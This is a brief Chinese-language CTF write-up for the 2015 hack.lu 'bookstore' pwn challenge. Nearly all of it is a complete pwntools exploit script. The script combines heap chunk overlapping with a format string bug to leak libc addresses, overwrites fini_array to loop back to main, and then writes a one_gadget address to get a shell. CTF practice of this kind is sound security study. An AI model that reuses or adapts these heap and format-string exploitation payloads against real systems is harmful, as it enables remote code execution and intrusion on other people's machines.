原理参见ctf wiki
chunk extend
一道有意思的例题
结合格式化字符串漏洞来加以利用。
2015 hacklu bookstore

exp

#coding:utf-8
from pwn import *

#context(arch='amd64',os='linux')
context.log_level='debug'

p=process('./books')
P=ELF('./books')
libc=ELF('/home/lusong/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

#gdb.attach(p,'b *0x400c8e')
#创建各个函数
def edit(ID,des):
        p.recvuntil('5: Submit\n')
        p.sendline(str(ID))
        p.recvuntil('er:\n')
        p.sendline(des)

def delete(ID):
        p.recvuntil('5: Submit\n')
        p.sendline(str(ID+2))

def submit(payload):
        p.recvuntil('5: Submit\n')
        p.sendline(b'5'+payload)

#先构造chunk1造成over lapping 并且构造dest  两个目的:1.泄露__libc_main_ret
#2.将fini_arry0改为main_addr
fini_arry0=0x6011b8  #0x400830
main_addr=0x400a39

payload = b'%'+b'2617'+b'c%13$hn'+b'-%31$p'+b'_%28$p'
payload = payload.ljust(0x74,b'a')
payload = payload.ljust(0x80,b'\x00')
payload+= p64(0x90)
payload+= p64(0x151)
payload+= b'a'*0x140
payload+= p64(0x150)
payload+= p64(0x21)               #为了bypass the check: !prev_inuse(next_chunk)
payload+= b'a'*0x10
payload+= p64(0x20)+p64(0x21)     #为了使0x150的块不和nextchunk合并
#
edit(1,payload)
delete(2)
submit(b'aaaaaaa'+p64(fini_arry0))
#
p.recvuntil('-')
p.recvuntil('-')
p.recvuntil('-')
__libc_start_main240 = p.recv(14)         #__libc_start_main+240
p.recvuntil('_')
ret_biaoz = p.recv(14)    #标志

__libc_start_main =int(__libc_start_main240,16) - 240  #__libc_start_main
libcbase = __libc_start_main - libc.symbols['__libc_start_main']
one_gadget = 0x45226 # 0x4527a 0xf03a4 0xf1247
ret_addr = int(ret_biaoz,16) - 0x1e8

sh = libcbase + one_gadget
print(hex(sh))
pause()
#
sh = sh&0xffffff
ch0 =sh&0xff
ch1 =(sh>>8) - ch0
payload = b'%' + str(ch0).encode('utf-8') + b'd%13$hhn'
payload+= b'%' + str(ch1).encode('utf-8') + b'd%14$hn'
payload=payload.ljust(0x74,b'a')
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0x90)
payload+=p64(0x151)
payload+= b'a'*0x140
payload+= p64(0x150)
payload+= p64(0x21)
payload+= b'a'*0x10+p64(0x20)+p64(0x21)
#
edit(1,payload)
delete(2)
pause()
submit(b'aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))

p.interactive()